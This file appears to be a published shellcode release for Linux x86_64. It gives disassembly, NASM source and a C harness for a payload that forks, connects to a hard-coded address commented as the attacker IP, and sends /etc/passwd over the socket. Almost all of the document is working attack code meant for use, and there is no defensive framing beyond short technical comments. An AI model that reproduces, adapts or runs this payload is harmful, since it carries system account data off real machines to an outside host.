/*
    # Title : Linux x86_64 /etc/passwd file sender shellcode
    # Date : 28-06-2016
    # Author : Roziul Hasan Khan Shifat
    # Tested On : Ubuntu 14.04 LTS x86_64
*/


/*

Disassembly of section .text:

0000000000400080 <_start>:
  400080:	48 31 c0             	xor    %rax,%rax
  400083:	b0 39                	mov    $0x39,%al
  400085:	0f 05                	syscall 
  400087:	99                   	cltd   
  400088:	48 39 d0             	cmp    %rdx,%rax
  40008b:	74 07                	je     400094 <send>
  40008d:	48 31 c0             	xor    %rax,%rax
  400090:	b0 3c                	mov    $0x3c,%al
  400092:	0f 05                	syscall 

0000000000400094 <send>:
  400094:	b2 06                	mov    $0x6,%dl
  400096:	48 31 f6             	xor    %rsi,%rsi
  400099:	48 ff c6             	inc    %rsi
  40009c:	40 b7 02             	mov    $0x2,%dil
  40009f:	48 31 c0             	xor    %rax,%rax
  4000a2:	b0 29                	mov    $0x29,%al
  4000a4:	0f 05                	syscall 
  4000a6:	4d 31 c0             	xor    %r8,%r8
  4000a9:	49 89 c0             	mov    %rax,%r8
  4000ac:	48 31 c0             	xor    %rax,%rax
  4000af:	99                   	cltd   
  4000b0:	48 31 ff             	xor    %rdi,%rdi
  4000b3:	48 31 f6             	xor    %rsi,%rsi
  4000b6:	50                   	push   %rax
  4000b7:	50                   	push   %rax
  4000b8:	50                   	push   %rax
  4000b9:	c6 04 24 02          	movb   $0x2,(%rsp)
  4000bd:	66 c7 44 24 02 05 c0 	movw   $0xc005,0x2(%rsp)
  4000c4:	c7 44 24 04 c0 a8 56 	movl   $0x8056a8c0,0x4(%rsp)
  4000cb:	80 
  4000cc:	48 89 e6             	mov    %rsp,%rsi
  4000cf:	b2 10                	mov    $0x10,%dl
  4000d1:	4c 89 c7             	mov    %r8,%rdi

00000000004000d4 <connect>:
  4000d4:	48 31 c0             	xor    %rax,%rax
  4000d7:	b0 2a                	mov    $0x2a,%al
  4000d9:	0f 05                	syscall 
  4000db:	4d 31 c9             	xor    %r9,%r9
  4000de:	4c 39 c8             	cmp    %r9,%rax
  4000e1:	75 f1                	jne    4000d4 <connect>
  4000e3:	48 31 c0             	xor    %rax,%rax
  4000e6:	48 31 f6             	xor    %rsi,%rsi
  4000e9:	50                   	push   %rax
  4000ea:	50                   	push   %rax
  4000eb:	50                   	push   %rax
  4000ec:	c7 04 24 2f 65 74 63 	movl   $0x6374652f,(%rsp)
  4000f3:	c7 44 24 04 2f 2f 70 	movl   $0x61702f2f,0x4(%rsp)
  4000fa:	61 
  4000fb:	c7 44 24 08 73 73 77 	movl   $0x64777373,0x8(%rsp)
  400102:	64 
  400103:	48 89 e7             	mov    %rsp,%rdi
  400106:	b0 02                	mov    $0x2,%al
  400108:	0f 05                	syscall 
  40010a:	48 89 c6             	mov    %rax,%rsi
  40010d:	4c 89 c7             	mov    %r8,%rdi
  400110:	99                   	cltd   
  400111:	66 41 ba 88 13       	mov    $0x1388,%r10w
  400116:	48 31 c0             	xor    %rax,%rax
  400119:	b0 28                	mov    $0x28,%al
  40011b:	0f 05                	syscall 
  40011d:	48 31 c0             	xor    %rax,%rax
  400120:	b0 3c                	mov    $0x3c,%al
  400122:	0f 05                	syscall

*/


/*

section .text
	global _start
_start:

xor rax,rax
mov al,57
syscall

cdq
cmp rax,rdx
jz send

xor rax,rax
mov al,60
syscall

send:
;----------------
;connecting to server
;-------------------------

;creating socket


mov dl,6
xor rsi,rsi
inc rsi
mov dil,2


xor rax,rax
mov al,41
syscall

;---------------------
xor r8,r8
mov r8,rax ;socket descriptor

;----------------------------
;connecting.............

;struct sockaddr_in 16 bytes
;sin_family 2 bytes
;sin_port 2 bytes
;sin_addr 4 bytes


xor rax,rax
cdq
xor rdi,rdi
xor rsi,rsi


push rax
push rax
push rax

mov [rsp],byte 2
mov [rsp+2],word 0xc005 ;port 1472 (change it if U want)
mov [rsp+4],dword 0x8056a8c0 ;change it to attacker IP

mov rsi,rsp

mov dl,16

mov rdi,r8

connect:
xor rax,rax
mov al,42
syscall

xor r9,r9
cmp rax,r9
jnz connect

;------------------------------
;opennig /etc/passwd

xor rax,rax
xor rsi,rsi

push rax
push rax
push rax

mov [rsp],dword '/etc'
mov [rsp+4],dword '//pa'
mov [rsp+8],dword 'sswd'

mov rdi,rsp

mov al,2
syscall
;----------------------



;sending...............
mov rsi,rax ;in_fd
mov rdi,r8 ;out_fd
cdq
mov r10w,5000
xor rax,rax
mov al,40
syscall
;--------------

;exiting

xor rax,rax
mov al,60
syscall

*/


#include<stdio.h>
#include<string.h>

char shellcode[]="\x48\x31\xc0\xb0\x39\x0f\x05\x99\x48\x39\xd0\x74\x07\x48\x31\xc0\xb0\x3c\x0f\x05\xb2\x06\x48\x31\xf6\x48\xff\xc6\x40\xb7\x02\x48\x31\xc0\xb0\x29\x0f\x05\x4d\x31\xc0\x49\x89\xc0\x48\x31\xc0\x99\x48\x31\xff\x48\x31\xf6\x50\x50\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\xc0\xc7\x44\x24\x04\xc0\xa8\x56\x80\x48\x89\xe6\xb2\x10\x4c\x89\xc7\x48\x31\xc0\xb0\x2a\x0f\x05\x4d\x31\xc9\x4c\x39\xc8\x75\xf1\x48\x31\xc0\x48\x31\xf6\x50\x50\x50\xc7\x04\x24\x2f\x65\x74\x63\xc7\x44\x24\x04\x2f\x2f\x70\x61\xc7\x44\x24\x08\x73\x73\x77\x64\x48\x89\xe7\xb0\x02\x0f\x05\x48\x89\xc6\x4c\x89\xc7\x99\x66\x41\xba\x88\x13\x48\x31\xc0\xb0\x28\x0f\x05\x48\x31\xc0\xb0\x3c\x0f\x05";

main()
{
printf("shellcode length %ld\n",(long)strlen(shellcode));
(* (int(*)()) shellcode) ();
}

